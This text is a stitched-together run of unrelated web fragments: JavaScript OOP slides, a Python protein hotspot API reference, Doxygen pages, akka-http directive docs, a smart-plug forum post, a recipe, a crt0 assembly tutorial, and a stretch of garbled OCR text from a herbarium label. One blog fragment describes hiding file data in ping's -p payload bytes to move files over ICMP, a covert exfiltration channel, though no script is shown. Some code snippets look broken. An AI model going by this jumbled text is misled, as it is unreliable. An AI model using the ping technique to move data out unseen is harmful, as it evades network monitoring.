In terms of Digital Wes, Nina's interest in tech startups and entrepreneurship stems from a broader interest in addressing social problems that lack effective and/or widely accessible solutions. She feels that society as a whole needs evolution in its culture, in its allocation of profits and status, and in its ability to employ and inspire new generations of people. Tech startups seem to be a promising way to meet these needs. Nina hopes to use her Digital Wes experiences to focus on the ways that tech startups and entrepreneurship can jointly address both the demands of pop culture with the needs of social issues, such as national and global ecology and politics.


Created by Rui Ferrão
Object-oriented Programming is a model for writing computer programs.
Before OOP, most programs were written in a Procedural Programming model and consisted on a list or set of instructions telling a computer what to do step by step
OOP is modeled around objects that interact with each other.
Classical OOP
... not so fast, we need to understand some basic things first...
/**
* Flatten an array of arrays
*
* @param {Array a An array of arrays
* @return {Array} A flattened array
*/
function flattenArray(a) {
return a.reduce(function(acc, value) {
return acc.concat(value);
});
}}
and the console makes for a great scratch pad!
We need a place to store results....
| Type | Example |
|---|---|
| Number | 3.141592653589793 |
| String | 'Academia de Código' |
| Boolean | true |
| Array | [1, 'Apple', 2 , 'Oranges', false] |
| Object | ??? |
typeof true
typeof 11.2
typeof 'Academia'
2 > 100
'Academia' > 'Codigo'
true && false
true || false
5 <= 5
3 === 5
3 === (5-2)
var year = 2015;
var leap = 100;
var future = year + leap;
The allow us to declare new vocabulary by warpping a piece of code in a value
Mozilla Developers Network is a great resource for JavaScript documentation
What does it mean??
It means that we can easily define objects on the fly!!!
var pixel = {
x: 1,
y: 2,
color: 'red'
};
Objects are simple collections of key-value pairs
Objects values can contain other objects
var circle = {
center: pixel,
radius: 10
};
Circle object has no behaviour...
var circle = {
center: pixel,
radius: 10
};
Let's make our circle shrink by arbitrary number of pixels...
circle.shrink = function(value) {
radius = radius - value > 0 ? radius - value : 0;
}
...and introduce the ternary operator!
Used to serialize and desirialize objects. Very convenient way to transfer objects across network without requiring complex encoding/decoding
how to create confusion in the mind of a software developer
Or how to abstract the creation of complex objects...
function pixelFactory(x, y, color) {
return {
x: x,
y: y,
color: color
};
}
function circleFactory(point, radius) {
return {
point: point,
radius: radius,
shrink : function(value) {
this.radius = this.radius - value > 0 ? this.radius - value : 0;
}
};
}
var p1 = pixelFactory(2,3,'red');
var p2 = pixelFactory(6,2,'green');
var c1 = circleFactory(p1, 10);
var c2 = circleFactory(p2, 10);
c1.shrink(2);
c2.shrink(1);
Or how to emulate classical inheritance in javascript
function Pixel(x, y, color) {
this.x = x;
this.y = y;
this.color = color;
}
function Circle(pixel, radius) {
this.pixel = pixel;
this.radius = radius;
this.shrink = function(value) {
this.radius = this.radius - value > 0 ? this.radius - value : 0;
};
}
var p1 = new Pixel(1,2,'red');
var p2 = new Pixel(6,2,'green');
var c1 = new Circle(p1,10);
var c2 = new Circle(p2,10);
c1.shrink(2);
c2.shrink(1);
DO NOT FORGET THE NEW OPERATOR!!!!
Prototype-based programming is an OOP model that doesn't use classes, but rather accomplishes behavior reuse by expanding upon existing prototype objects.
var sleeper = {
sleep: function() {
console.log('Sleeping...');
}
};
function Programmer(type) {
this.type = type;
this.speak = function(line) {
console.log('The ' + this.type + ' programmer says ' + line);
};
}
var javaScriptProgrammer = new Programmer('JavaScript');
javaScriptProgrammer.speak('I know prototypes!');
javaScriptProgrammer.sleep();
Programmer.prototype = sleeper;
var javaProgrammer = new Programmer('Java');
javaProgrammer.speak('I know reflection!');
javaProgrammer.sleep();
Effecient memory usage due to one time creation of shrink function in Circle prototype
function Circle(pixel, radius) {
this.pixel = pixel;
this.radius = radius;
}
Circle.prototype.shrink = function(value) {
this.radius = this.radius - value > 0 ? this.radius - value : 0;
};
We just barely scratched the surface of JavaScript!


Result API¶
The hotspots.result
contains classes to extract valuable information from the calculated Fragment Hotspot Maps.
- The main classes of the
hotspots.result
module are:
hotspots.result.Results
can be generated using the hotspots.calculation
module
>>> from hotspots.calculation import Runner
>>>
>>> r = Runner()
either
>>> r.from_pdb("pdb_code")
or
>>> from ccdc.protein import Protein
>>> protein = Protein.from_file("path_to_protein")
>>> result = r.from_protein(protein)
The hotspots.result.Results
is the central class for the entire API. Every module either feeds into creating
a hotspots.result.Results
instance or uses it to generate derived data structures.
The hotspots.result.Extractor
enables the main result to be broken down based on molecular volumes. This
produces molecule sized descriptions of the cavity and aids tractibility analysis and pharmacophoric generation.
-
class
hotspots.result.
Extractor
(hr, settings=None)[source]¶ A class to handle the extraction of molecular volumes from a Fragment Hotspot Map result
Parameters: - hr (hotspots.HotspotResults) – A Fragment Hotspot Maps result
- settings (hotspots.Extractor.Settings) – Extractor settings
-
class
Settings
(volume=150, cutoff=14, spacing=0.5, min_feature_gp=5, max_features=10, min_distance=6, island_max_size=100, pharmacophore=True)[source]¶ Default settings for hotspot extraction
Parameters: - volume (float) – required volume (default = 150)
- cutoff (float) – only features above this value are considered (default = 14)
- spacing (float) – grid spacing, (default = 0.5)
- min_feature_gp (int) – the minimum number of grid points required to create a feature (default = 5)
- max_features (int) – the maximum number of features in a extracted volume (default = 10)(not recommended, control at pharmacophore)
- min_distance (float) – the minimum distance between two apolar interaction peaks (default = 6)
- island_max_size (int) – the maximum number of grid points a feature can take. (default = 100)(stops overinflation of polar features)
- pharmacophore (bool) – if True, generate a Pharmacophore Model (default = True)
-
extract_all_volumes
(volume='125', pharmacophores=True)[source]¶ from the main Fragment Hotspot Map result, the best continuous volume is calculated using peaks in the apolar maps as a seed point.
Parameters: - volume (float) – volume in Angstrom^3
- pharmacophores (bool) – if True, generates pharmacophores
Returns: a hotspots.result.Results instance
>>> result <hotspots.result.Results object at 0x000000001B657940>
>>> from hotspots.result import Extractor
>>> extractor = Extractor(result) >>> all_vols = extractor.extract_all_volumes(volume=150) [<hotspots.result.Results object at 0x000000002963A438>, <hotspots.result.Results object at 0x0000000029655240>, <hotspots.result.Results object at 0x000000002963D2B0>, <hotspots.result.Results object at 0x000000002964FDD8>, <hotspots.result.Results object at 0x0000000029651D68>, <hotspots.result.Results object at 0x00000000296387F0>]
-
extract_best_volume
(volume='125', pharmacophores=True)[source]¶ from the main Fragment Hotspot Map result, the best continuous volume is returned
Parameters: - volume (float) – volume in Angstrom^3
- pharmacophores (bool) – if True, generates pharmacophores
Returns: a hotspots.result.Results instance
>>> result <hotspots.result.Results object at 0x000000001B657940>
>>> from hotspots.result import Extractor
>>> extractor = Extractor(result) >>> best = extractor.extract_best_volume(volume=400) [<hotspots.result.Results object at 0x0000000028E201D0>]
-
class
hotspots.result.
Results
(super_grids, protein, buriedness=None, pharmacophore=None)[source]¶ A class to handle the results of the Fragment Hotspot Map calcation and to organise subsequent analysis
Parameters: - super_grids (dict) – key = probe identifier and value = grid
- protein (ccdc.protein.Protein) – target protein
- buriedness (ccdc.utilities.Grid) – the buriedness grid
- pharmacophore (bool) – if True, a pharmacophore will be generated
-
class
ConstraintData
(score_by_index, prot=None)[source]¶ standardise constrain read and write (required for the GOLD optimisation)
-
all_tractability_maps
()[source]¶ generate the best volume and labels with the median value. A median > 14 is more likely to be tractable
Returns: a hotspots.result.Results
instance
-
docking_constraint_atoms
(max_constraints=10, accessible_cutoff=0.001, max_distance=4)[source]¶ creates a dictionary of constraints
Parameters: max_constraints (int) – max number of constraints Return dic: score by atom
-
static
from_grid_ensembles
(res_list, prot_name, charged=False)[source]¶ Experimental feature
Creates ensemble map from a list of Results. Structures in the ensemble have to aligned by the binding site of interest prior to the hotspots calculation.
TODO: Move to the calculation module?
Parameters: - res_list – list of hotspots.result.Results
- prot_name (str) – str
- out_dir (str) – path to output directory
Returns: a
hotspots.result.Results
instance
-
get_difference_map
(other, tolerance)[source]¶ Experimental feature.
Generates maps to highlight selectivity for a target over an off target cavity. Proteins should be aligned by the binding site of interest prior to calculation. High scoring regions of a map represent areas of favourable interaction in the target binding site, not present in off target binding site
Parameters: - other – a
hotspots.result.Results
instance - tolerance (int) – how many grid points away to apply filter to
Returns: a
hotspots.result.Results
instance- other – a
-
get_pharmacophore_model
(identifier='id_01', threshold=5)[source]¶ Generates a
hotspots.hotspot_pharmacophore.PharmacophoreModel
instance from peaks in the hotspot mapsTODO: investigate using feature recognition to go from grids to features.
Parameters: - identifier (str) – Identifier for displaying multiple models at once
- cutoff (float) – The score cutoff used to identify islands in the maps. One peak will be identified per island
Returns: a
hotspots.hotspot_pharmacophore.PharmacophoreModel
instance
-
histogram
(fpath='histogram.png')[source]¶ get histogram of zero grid points for the Fragment Hotspot Result
Parameters: fpath – path to output file Returns: data, plot >>> result <hotspots.result.Results object at 0x000000001B657940> >>> plt = result.histogram() >>> plt.show()
-
map_values
()[source]¶ get the number zero grid points for the Fragment Hotspot Result
Returns: dict of str(probe type) by a numpy.array
(non-zero grid point scores)
-
score
(obj=None, tolerance=2)[source]¶ annotate protein, molecule or self with Fragment Hotspot scores
Parameters: - obj – ccdc.protein.Protein, ccdc.molecule.Molecule or hotsptos.result.Results (find the median)
- tolerance (int) – the search radius around each point
Returns: scored obj, either
ccdc.protein.Protein
,ccdc.molecule.Molecule
orhotspot.result.Results
>>> result # example "1hcl" <hotspots.result.Results object at 0x000000001B657940>
>>> from numpy import np >>> p = result.score(result.protein) # scored protein >>> np.median([a.partial_charge for a in p.atoms if a.partial_charge > 0]) 8.852499961853027


Stream HTML Parser + VDOM implementation
Press "Parse" and change HTML at the left
Put HTML here:
×
Modal title
One fine body…
Parse
Diff
Update
Dynamic update
Dynamic parse
Watch the result:


?NEW
YORK
BOTANIC*
GARDEN
Herbarium
of
Mr.
LeRoy
PURCHASED
1898
***
:
¥
k*
r¡v
9
I
A
N
I
C
A
L
'4
|}oE,*'>
/f/.$*~erAer.
/8/if.
01529864
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


About
Services
Writing Sample
Contact
Blog
Marius Gabriel Malinescu
Press Art Boutique
Content creation
+31-616-045-362
<EMAIL_ADDRESS>Let's be in touch
Name
Email
Message
Send


{% extends 'products/base.html' %} {% block title %}Product Detail{% endblock %} {% block content %}
We just send you you important updates from Gineau.
We never send you any kind of spam.


This gateway is used for the BULKSMS HTTP interface.
This interface requires the following settings in SMSServer's configuration file:
| Option | Description |
| username | BULKSMS Username. |
| password | BULKSMS Password. |
| outbound | yes if the gateway should be treaded as an outbound gateway, otherwise no. |
| region | The BULKSMS region servers you wish to use. Should be one of the following: UNITEDKINGDOM, SOUTHAFRICA, SPAIN, USA, GERMANY. Leave the setting empty to use the INTERNATIONAL setting. |
Example:
gateway.0=myBulkSms, BulkSmsHttp
myBulkSms.username=username
myBulkSms.password=password
myBulkSms.outbound=yes
myBulkSms.region=USA


-
Live workshop
For any number of employees with advanced Angular knowledge that
keeps on growing
-
Interactive examples
All our chapters for your employees with lifetime access
-
Case analysis
We can take a look at your projects to define problems and explain
how to fix them


|
LabBot
|
A class for loading and audio files and managing its playback. More...
#import <DRHAudioPlayer.h>
Instance Methods | |
| (DRHAudioPlayer *) | - initWithURL: |
| (BOOL) | - isReadyToPlay |
| (void) | - play |
| (void) | - setPlaybackDidEndSelector:WithObject: |
Class Methods | |
| (DRHAudioPlayer *) | + audioPlayerWithURL: |
Protected Attributes | |
| AVPlayer * | audioPlayer |
The AVPlayer object that will be used to play the audio file. | |
| BOOL | isReadyToPlay |
| An instance variable that tracks if this object is setup and ready to play. | |
Properties | |
| BOOL | shouldCallPlaybackDidEndSelector |
Will the instance run its playbackDidEndSelector . | |
A class for loading and audio files and managing its playback.
This class simplifies the loading and playing of audio files. This task is identical in most projects and so in most cases it can be reduced to send a couple of messages to this class. This class is based on the AVFoundation framework.
| + (DRHAudioPlayer *) audioPlayerWithURL: | (NSURL *) | URL |
Create a new DRHAudioPlayer
object and initialises it including loading the audio file from the specified URL and getting the receiver ready to play.
| URL | A URL that specifies a valid audio file. |
DRHAudioPlayer
object. | - (DRHAudioPlayer *) initWithURL: | (NSURL *) | URL |
Initialises the receiver including loading the audio file from the specified URL and getting the receiver ready to play.
| URL | A URL that specifies a valid audio file. |
DRHAudioPlayer
object. | - (BOOL) isReadyToPlay |
Checks if the receiver is initialised and ready to play.
YES
if the receiver is ready to play, else NO
. | - (void) play |
Begins playback of the receiver.
| - (void) setPlaybackDidEndSelector: | (SEL) | selector | |
| WithObject: | (id) | object | |
Sets a selector to run on an object when playback of the receiver is completed.


Richard Powers powers through 8 dance styles and 150+ moves in 10 weeks at Stanford. Here's a big picture look.
How it works:
All moves are grouped by dance style
... and then into sub-categories
... which hold individual dance moves.
Click to zoom, and click dance moves for a video demo (grey circles mean there's no video).


Click through this link to file a launch-tracking bug
{% include "blink/launch_bug.html" %}
{% endif %}
{% if intent %}
Copy and send this text for your "Intent to {{feature.intent_stage}}" email
{% include "blink/intent_to_implement.html" %}
{% endif %}
{% if feature.intent_stage == "Ship" %}
Obtain LGTMs from 3 API Owners
Given the intent stage of this feature is "{{feature.intent_stage}}" that means you're now done with your experimentation and implementation, and have documented that in this feature description. Now you need to get 3 API Owners to respond to your message with LGTMs. Once you have that, you're cleared from the Blink Launch process perspective to ship your feature.
{% elif feature.intent_stage == "Implement and Ship" %}
Obtain LGTMs from 3 API Owners
Given the intent stage of this feature is "{{feature.intent_stage}}" that means this is a small change and you’d like to ship enabled-by-default immediately. Per the launch process for new features, you’ll now need 3 LGTMs from API OWNERS before shipping.
{% endif %}
{% endblock %}
{% block js %}
{% endblock %}


Custom Directives
Part of the power of akka-http directives comes from the ease with which it’s possible to define custom directives at differing levels of abstraction.
There are essentially three ways of creating custom directives:
- By introducing new “labels” for configurations of existing directives
- By transforming existing directives
- By writing a directive “from scratch”
Configuration Labeling
The easiest way to create a custom directive is to simply assign a new name for a certain configuration of one or more existing directives. In fact, most of the predefined akka-http directives can be considered named configurations of more low-level directives.
The basic technique is explained in the chapter about Composing Directives, where, for example, a new directive getOrPut
is defined like this:
- Scala
-
source
val getOrPut = get | put // tests: val route = getOrPut { complete("ok") } Get("/") ~> route ~> check { responseAs[String] shouldEqual "ok" } Put("/") ~> route ~> check { responseAs[String] shouldEqual "ok" }
- Java
-
source
import static akka.http.javadsl.server.Directives.get; import static akka.http.javadsl.server.Directives.put; import static akka.http.javadsl.server.Directives.complete; public Route getOrPut(Supplier<Route> inner) { return get(inner).orElse(put(inner)); } Route route = getOrPut(() -> complete("ok"));
Multiple directives can be nested to produce a single directive out of multiple like this:
sourceimport static akka.http.javadsl.server.Directives.headerValueByName;
// the composed custom directive
/**
* @param authenticate A function returns a set of roles for the credentials of a user
* @param inner Inner route to execute if the provided credentials has the given role
* if not, the request is completed with a
*/
public Route headerBasedAuth(Function<MyCredentials, Set<MyRole>> authenticate, MyRole requiredRole, Supplier<Route> inner) {
return headerValueByName("X-My-User-Id", (userId) -> {
return headerValueByName("X-My-User-Secret", (secret) -> {
Set<MyRole> userRoles = authenticate.apply(new MyCredentials(userId, secret));
if (userRoles.contains(requiredRole)) {
return inner.get();
} else {
return complete(StatusCodes.FORBIDDEN, "Role " + requiredRole + " required for access");
}
});
});
}
import static akka.http.javadsl.server.Directives.path;
// a function for authentication
Function<MyCredentials, Set<MyRole>> authLogic =
(credentials) -> {
if (credentials.userId.equals("admin") && credentials.safeSecretVerification("secret"))
return new HashSet<>(Arrays.asList(MyRole.USER, MyRole.ADMIN));
else
return Collections.emptySet();
};
// and then using the custom route
Route route = get(() ->
path("admin", () ->
headerBasedAuth(authLogic, MyRole.ADMIN, () -> complete(StatusCodes.OK, "admin stuff"))
)
);
Another example is the MethodDirectives which are simply instances of a preconfigured method directive. The low-level directives that most often form the basis of higher-level “named configuration” directives are grouped together in the BasicDirectives trait.
Transforming Directives
The second option for creating new directives is to transform an existing one using one of the “transformation methods”, which are defined on the Directive
class, the base class of all “regular” directives.
Apart from the combinator operators (|
and &
) and the case-class extractor (as[T]
) the following transformations are also defined on all Directive
instances:
map and tmap
If the Directive is a single-value Directive
, the map
method allows for simple transformations:
sourceval textParam: Directive1[String] =
parameter("text".as[String])
val lengthDirective: Directive1[Int] =
textParam.map(text => text.length)
// tests:
Get("/?text=abcdefg") ~> lengthDirective(x => complete(x.toString)) ~> check {
responseAs[String] shouldEqual "7"
}
One example of a predefined directive relying on map
is the optionalHeaderValue directive.
The tmap modifier has this signature (somewhat simplified):
def tmap[R](f: L => R): Directive[Out]
It can be used to transform the Tuple
of extractions into another Tuple
. The number and/or types of the extractions can be changed arbitrarily. For example if R
is Tuple2[A, B]
then the result will be a Directive[(A, B)]
. Here is a somewhat contrived example:
sourceval twoIntParameters: Directive[(Int, Int)] =
parameters(("a".as[Int], "b".as[Int]))
val myDirective: Directive1[String] =
twoIntParameters.tmap {
case (a, b) => (a + b).toString
}
// tests:
Get("/?a=2&b=5") ~> myDirective(x => complete(x)) ~> check {
responseAs[String] shouldEqual "7"
}
flatMap and tflatMap
With map and tmap you can transform the values a directive extracts but you cannot change the “extracting” nature of the directive. For example, if you have a directive extracting an Int
you can use map to turn it into a directive that extracts that Int
and doubles it, but you cannot transform it into a directive, that doubles all positive Int
values and rejects all others.
In order to do the latter you need flatMap
or tflatMap
. The tflatMap
modifier has this signature:
def tflatMap[R: Tuple](f: L => Directive[R]): Directive[R]
The given function produces a new directive depending on the Tuple of extractions of the underlying one. As in the case of map/tmap there is also a single-value variant called flatMap
, which simplifies the operation for Directives only extracting one single value.
Here is the (contrived) example from above, which doubles positive Int values and rejects all others:
sourceval intParameter: Directive1[Int] = parameter("a".as[Int])
val myDirective: Directive1[Int] =
intParameter.flatMap {
case a if a > 0 => provide(2 * a)
case _ => reject
}
// tests:
Get("/?a=21") ~> myDirective(i => complete(i.toString)) ~> check {
responseAs[String] shouldEqual "42"
}
Get("/?a=-18") ~> myDirective(i => complete(i.toString)) ~> check {
handled shouldEqual false
}
A common pattern that relies on flatMap is to first extract a value from the RequestContext with the extract directive and then flatMap with some kind of filtering logic. For example, this is the implementation of the method directive:
sourcedef method(httpMethod: HttpMethod): Directive0 =
extractMethod.flatMap[Unit] {
case `httpMethod` => pass
case _ => reject(MethodRejection(httpMethod))
} & cancelRejections(classOf[MethodRejection])
The explicit type parameter [Unit]
on the flatMap is needed in this case because the result of the flatMap is directly concatenated with the cancelAllRejections
directive, thereby preventing “outside-in” inference of the type parameter value.
require and trequire
The require modifier transforms a single-extraction directive into a directive without extractions, which filters the requests according the a predicate function. All requests, for which the predicate is false are rejected, all others pass unchanged.
The signature of require is this:
def require(predicate: T => Boolean, rejections: Rejection*): Directive0
One example of a predefined directive relying on require is the first overload of the host directive:
source/**
* Rejects all requests for whose host name the given predicate function returns false.
*
* @group host
*/
def host(predicate: String => Boolean): Directive0 = extractHost.require(predicate)
You can only call require on single-extraction directives. The trequire modifier is the more general variant, which takes a predicate of type Tuple => Boolean
. It can therefore also be used on directives with several extractions.
recover and recoverPF
The recover
modifier allows you “catch” rejections produced by the underlying directive and, instead of rejecting, produce an alternative directive with the same type(s) of extractions.
The signature of recover is this:
def recover[R >: L: Tuple](recovery: Seq[Rejection] => Directive[R]): Directive[R] =
In many cases the very similar recoverPF
modifier might be little bit easier to use since it doesn’t require the handling of all rejections:
def recoverPF[R >: L: Tuple](
recovery: PartialFunction[Seq[Rejection], Directive[R]]): Directive[R]
One example of a predefined directive relying recoverPF
is the optionalHeaderValue
directive:
def optionalHeaderValue[T](f: HttpHeader => Option[T]): Directive1[Option[T]]
collect and tcollect
With collect and tcollect you can filter and map in one go, it mimics the collect known from the regular Scala collections.
Here is an example, first via map and filter and finally using collect:
parameter("a".as[Int]).filter(x => x != 0, MissingQueryParamRejection("a")).map(x => 42 / x)
parameter("a".as[Int]).collect({ case x if x != 0 => 42 / x }, MissingQueryParamRejection("a"))
Directives from Scratch
The third option for creating custom directives is to do it “from scratch”, either by using Directive.apply
or by subclassing Directive
class directly. The Directive
is defined like this (leaving away operators and modifiers):
sourceabstract class Directive[L](implicit val ev: Tuple[L]) {
/**
* Calls the inner route with a tuple of extracted values of type `L`.
*
* `tapply` is short for "tuple-apply". Usually, you will use the regular `apply` method instead,
* which is added by an implicit conversion (see `Directive.addDirectiveApply`).
*/
def tapply(f: L => Route): Route
}
It only has one abstract member that you need to implement, the tapply
method, which creates the Route the directives presents to the outside from its inner Route building function (taking the extractions as parameters).
Extractions are kept as a Tuple. Here are a few examples:
A Directive[Unit]
extracts nothing (like the get directive). Because this type is used quite frequently akka-http defines a type alias for it:
type Directive0 = Directive[Unit]
A Directive[(String)]
extracts one String value (like the hostName directive). The type alias for it is:
type Directive1[T] = Directive[Tuple1[T]]
A Directive[(String, Int)]
extracts a String
value and an Int
value (like a parameters('a.as[String], 'b.as[Int])
directive). Such a directive can be defined to extract the hostname and port of a request:
sourcedef hostnameAndPort: Directive[(String, Int)] = Directive[(String, Int)] { inner => ctx =>
val authority = ctx.request.uri.authority
inner((authority.host.address(), authority.port))(ctx)
}
// test
val route = hostnameAndPort {
(hostname, port) => complete(s"The hostname is $hostname and the port is $port")
}
Get() ~> Host("akka.io", 8080) ~> route ~> check {
status shouldEqual OK
responseAs[String] shouldEqual "The hostname is akka.io and the port is 8080"
}
Beside using Directive.apply
, you can also extending Directive
directly(This is actually uncommon and the first is preferable for common use cases):
sourceobject hostnameAndPort extends Directive[(String, Int)] {
override def tapply(f: ((String, Int)) => Route): Route = { ctx =>
val authority = ctx.request.uri.authority
f((authority.host.address(), authority.port))(ctx)
}
}
// test
val route = hostnameAndPort {
(hostname, port) => complete(s"The hostname is $hostname and the port is $port")
}
Get() ~> Host("akka.io", 8080) ~> route ~> check {
status shouldEqual OK
responseAs[String] shouldEqual "The hostname is akka.io and the port is 8080"
}
Keeping extractions as Tuples
has a lot of advantages, mainly great flexibility while upholding full type safety and “inferability”. However, the number of times where you’ll really have to fall back to defining a directive from scratch should be very small. In fact, if you find yourself in a position where a “from scratch” directive is your only option, we’d like to hear about it, so we can provide a higher-level “something” for other users.


|
Bitstream Interpretation Library (BIL)
0.1
|
Namespace for PIP direction constants. More...
Typedefs | |
| typedef unsigned char | direction_t |
| PIP direction type. |
Functions | |
| const char * | toString (direction_t dir) |
| Returns a string representation of given direction constant. | |
| direction_t | fromString (const char *s) |
| Returns direction constant of given string representation. |
Variables | |
| const direction_t | MONODI_BUF = 0x00 |
| Directional, buffered. | |
| const direction_t | BIDI_UNBUF = 0x01 |
| Bidirectional, unbuffered. | |
| const direction_t | BIDI_ONEBUF = 0x02 |
| Bidirectional, buffered in one direction. | |
| const direction_t | BIDI_TWOBUF = 0x03 |
| Bidirectional, buffered in both directions. | |
| const char *const | MONODI_BUF_STRING = "->" |
| const char *const | BIDI_UNBUF_STRING = "==" |
| const char *const | BIDI_ONEBUF_STRING = "=>" |
| const char *const | BIDI_TWOBUF_STRING = "=-" |
Namespace for PIP direction constants.
The connections established by PIPs can have different directions, which are enumerated here.
| typedef unsigned char bil::PIPDirection::direction_t |
PIP direction type.
Definition at line 22 of file PIPDirection.hpp.
| const char * bil::PIPDirection::toString | ( | direction_t | dir | ) |
Returns a string representation of given direction constant.
| dir | The direction constant. |
Definition at line 18 of file PIPDirection.cpp.
| PIPDirection::direction_t bil::PIPDirection::fromString | ( | const char * | s | ) |
Returns direction constant of given string representation.
| s | The string representation. |
| . |
Definition at line 31 of file PIPDirection.cpp.
| const direction_t bil::PIPDirection::MONODI_BUF = 0x00 |
Directional, buffered.
Definition at line 26 of file PIPDirection.hpp.
| const direction_t bil::PIPDirection::BIDI_UNBUF = 0x01 |
Bidirectional, unbuffered.
Definition at line 29 of file PIPDirection.hpp.
| const direction_t bil::PIPDirection::BIDI_ONEBUF = 0x02 |
Bidirectional, buffered in one direction.
Definition at line 32 of file PIPDirection.hpp.
| const direction_t bil::PIPDirection::BIDI_TWOBUF = 0x03 |
Bidirectional, buffered in both directions.
Definition at line 35 of file PIPDirection.hpp.
| const char *const bil::PIPDirection::MONODI_BUF_STRING = "->" |
Definition at line 12 of file PIPDirection.cpp.
| const char *const bil::PIPDirection::BIDI_UNBUF_STRING = "==" |
Definition at line 13 of file PIPDirection.cpp.
| const char *const bil::PIPDirection::BIDI_ONEBUF_STRING = "=>" |
Definition at line 14 of file PIPDirection.cpp.
| const char *const bil::PIPDirection::BIDI_TWOBUF_STRING = "=-" |
Definition at line 15 of file PIPDirection.cpp.


I use Emoncms for monitoring appliances using smart plugs with a modified / forked version of plugctl
Submitted by joyrider3774 on Thu, 15/10/2015 - 13:34
Hi,
Thought i'd share this. Adli the supermarket sold at the beginning of the year some smart plugs (maginon smart plugs) for a cheap price (in belgium) I bought 2 of them. At that time someone had already created a tool named plugctl using the programming language go which could connect to the smartplug (which was running a small inuxversion), using telnet and read the power readings from the device like watt volt amp. I recently forked plugctl on github ( and added support for a daemon that reads the data from the plug and sends the data to any emoncms instance specified. So now i'm quite happy running a local version of emoncms and feeding data to it using my modified / improved version of plugctl.
The plugs were mainly advertised as digitial timers and a way to turn them on and off using wifi but my main use is to see the power usuage of all kind of devices hooked up to the plugs and emoncms is very nice for this. Thanks for this great tool :)
I use Emoncms for monitoring appliances using smart plugs with a modified / forked version of plugctl
Submitted by joyrider3774 on Thu, 15/10/2015 - 13:34Hi,
Thought i'd share this. Adli the supermarket sold at the beginning of the year some smart plugs (maginon smart plugs) for a cheap price (in belgium) I bought 2 of them. At that time someone had already created a tool named plugctl using the programming language go which could connect to the smartplug (which was running a small inuxversion), using telnet and read the power readings from the device like watt volt amp. I recently forked plugctl on github ( and added support for a daemon that reads the data from the plug and sends the data to any emoncms instance specified. So now i'm quite happy running a local version of emoncms and feeding data to it using my modified / improved version of plugctl.
The plugs were mainly advertised as digitial timers and a way to turn them on and off using wifi but my main use is to see the power usuage of all kind of devices hooked up to the plugs and emoncms is very nice for this. Thanks for this great tool :)
here's a video of my dashboards https://youtu.be/NKd0XZ2hMHg


Introduction
Anyone who ever deals with server managment knows the famous ping
utility.
Ping send ICMP request to a remote host, it’s commonly used to test if a server is alive or to know his ip address.
However ping options allow us to customize this requests in some way, then it becomes possible to transfer any type of data.
For the purpose I test my script with different media types like png or mp3 and it worked perfectly.
The idea
By default ping requests are formed with 98 bytes including 56 bytes of data and various headers.
With the -p
option, ping allows you to customize 16 of those 56 bytes:
Here is the request catched with tcpdump
on the remote host:
As you can see the submitted string repeats again and again until the end of the data request. If you provide a string longer than 16 bytes it will be truncated. From here, we can convert any data to hexa and send it through ping request.
The POC
For my tests I used the following Anonymous image:
This image is about 7Ko so the script sent near 1200 ping requests, which is alot… It’s also time consuming but to be honest it’s so fun :) Below the poc:
Note: the script also works if echo request has been disable on the remote host (with icmp_echo_ignore_all
equal to 1
),
but slower. Feel free to mail me if you want to take a look at the scripts.


Preparation time
less than 30 mins
Cooking time
1 to 2 hours
Serves
Serves 4-6
Preheat the oven to 180C/350F/Gas 4.
In a large saucepan of boiling, salted water, boil the potatoes for about 15-20 minutes, until tender. Drain.
Add the butter and a pinch of salt to the potatoes. Mash well, using a potato ricer, mouli or traditional masher, adding enough milk or cream to bring it to a creamy consistency.
 Transfer to the oven and bake for 20-25 minutes until sizzling, but not brown.
Put the onions in a frying pan with the olive oil and cook until softened. Add the tomatoes, herbs, and salt and pepper to taste. Bring to the boil, before simmering for 10 minutes.

Sprinkle with grated cheese if liked. Return to the oven and cook for 30 minutes, until golden brown. Serve with peas and sweetcorn.


Next: Linker Scripts, Up: Libraries [Contents]
To make a program that has been compiled with GCC to run, you need to write some startup code. The initial piece of startup code is called a crt0. (C RunTime 0) This is usually written in assembler, and it’s object gets linked in first, and bootstraps the rest of the application when executed. This file needs to do the following things.
If you plan to burn your code in a ROM, then the crt0 typically has to do all the hardware initialization that is required to run an application. This can include things like initializing serial ports or run a memory check. It all depends on the hardware.
When there is a ROM monitor present, usually a user trap can be called and then the ROM takes over. Pick a safe vector with no side effects. Some ROMs have a builtin trap handler just for this case.
portable between all the m68k based boards we have here. Example Crt0.S.
/* ANSI concatenation macros. */ #define CONCAT1(a, b) CONCAT2(a, b) #define CONCAT2(a, b) a ## b
These we’ll use later.
/* These are predefined by new versions of GNU cpp. */ #ifndef __USER_LABEL_PREFIX__ #define __USER_LABEL_PREFIX__ _ #endif /* Use the right prefix for global labels. */ #define SYM(x) CONCAT1 (__USER_LABEL_PREFIX__, x)
These macros are to make this code portable between both COFF and a.out. COFF always has an _ (underline) prepended on the front of all global symbol names. a.out has none.
#ifndef __REGISTER_PREFIX__ #define __REGISTER_PREFIX__ #endif /* Use the right prefix for registers. */ #define REG(x) CONCAT1 (__REGISTER_PREFIX__, x) #define d0 REG (d0) #define d1 REG (d1) #define d2 REG (d2) #define d3 REG (d3) #define d4 REG (d4) #define d5 REG (d5) #define d6 REG (d6) #define d7 REG (d7) #define a0 REG (a0) #define a1 REG (a1) #define a2 REG (a2) #define a3 REG (a3) #define a4 REG (a4) #define a5 REG (a5) #define a6 REG (a6) #define fp REG (fp) #define sp REG (sp)
This is for portability between assemblers. Some register names have a % or $ prepended to the register name.
/* * Set up some room for a stack. We just grab a chunk of memory. */ .set stack_size, 0x2000 .comm SYM (stack), stack_size
Set up space for the stack. This can also be done in the linker script, but it typically gets done here.
/* * Define an empty environment. */ .data .align 2 SYM (environ): .long 0
Set up an empty space for the environment. This is bogus on any most ROM monitor, but we setup a valid address for it, and pass it to main. At least that way if an application checks for it, it won’t crash.
.align 2 .text .global SYM (stack) .global SYM (main) .global SYM (exit) /* * This really should be __bss_start, not SYM (__bss_start). */ .global __bss_start
Setup a few global symbols that get used elsewhere. __bss_start needs to be unchanged, as it’s setup by the linker script.
/* * start -- set things up so the application will run. */ SYM (start): link a6, #-8 moveal #SYM (stack) + stack_size, sp /* * zerobss -- zero out the bss section */ moveal #__bss_start, a0 moveal #SYM (end), a1 1: movel #0, (a0) leal 4(a0), a0 cmpal a0, a1 bne 1b
The global symbol start
is used by the linker as the default
address to use for the .text
section. then it zeros the
.bss
section so the uninitialized data will all be cleared. Some
